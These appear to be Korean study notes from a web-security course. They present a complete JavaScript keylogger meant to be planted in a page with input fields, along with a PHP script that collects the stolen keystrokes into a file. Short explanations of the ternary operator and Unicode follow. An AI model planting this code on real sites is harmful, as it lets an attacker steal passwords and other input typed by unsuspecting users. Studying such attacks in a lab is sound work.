심어 놓을 코드
<script>
var keys='';
document.onkeypress = function (e){
get=window.event?event:e;
key=get.keyCode?get.keyCode:get.charCode;
key=String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src= "http://localhost/T3/keylogger.php?c=" + keys;
keys='';
}, 1500);
</script>
keylogger.php
<?php
$str = isset($_GET['c'])?$_GET['c'] : false;
if($str){
$ff = fopen('data.txt','a+');
fputs($ff,$str);
fclose($ff);
}
?>
key=get.keyCode?get.keyCode:get.charCode;이 값에서는 get.keyCode가 참이면 key값에 할당되고 아니면 get.charCode가 key값에 할당된다. (condition) ? expression1 : expression2ex)
var age = 20;
var status = (age >= 18) ? "성인" : "미성년자";
console.log(status); // 출력: "성인"
전 세계 모든 문자를 컴퓨터에서 표현하고 다룰 수 있도록 설계된 표준화된 시스템이고 각각 문자에 특정한 숫자코드를 할당하여 저장한 것이다.
-> ex) 알파벳 A -> U+0041 한글 가 -> U+AC00
위에 코드에서 유니코드로 변환하는 이유는 특정 키를 입력할때 웹브라우저에 따라 keyCode와 charCode를 다르게 제공해서 유니코드로 변환해 일관된 문자 집합으로 작업할 수 있게한다.
-> input을 입력 받는 사이트에 심어 놓는 것이였다.
-> How to know 실제로 쓰이는 사례를 찾아보니 가짜 사이트를 만들어서 입력값을 받는 다는 것을 알고 내가 만든 웹페이지에 심어 보았다.
-> 말그대로 lmage라는 변수를 못찾은 것이다.
-> 나는 처음에 Image라고 대문자를 썻지만 vscode가 파란색 밑줄로 에러가 계속 나서 소문자로 바꿔적었다. 빨간 줄은 없어졌다.
-> css를 사용할때 소문자로 적어도 문제 없어서 상관없는 줄 알았지만 객체는 대문자를 쓴다.
-Normaltic Study 6기 4주차 3일-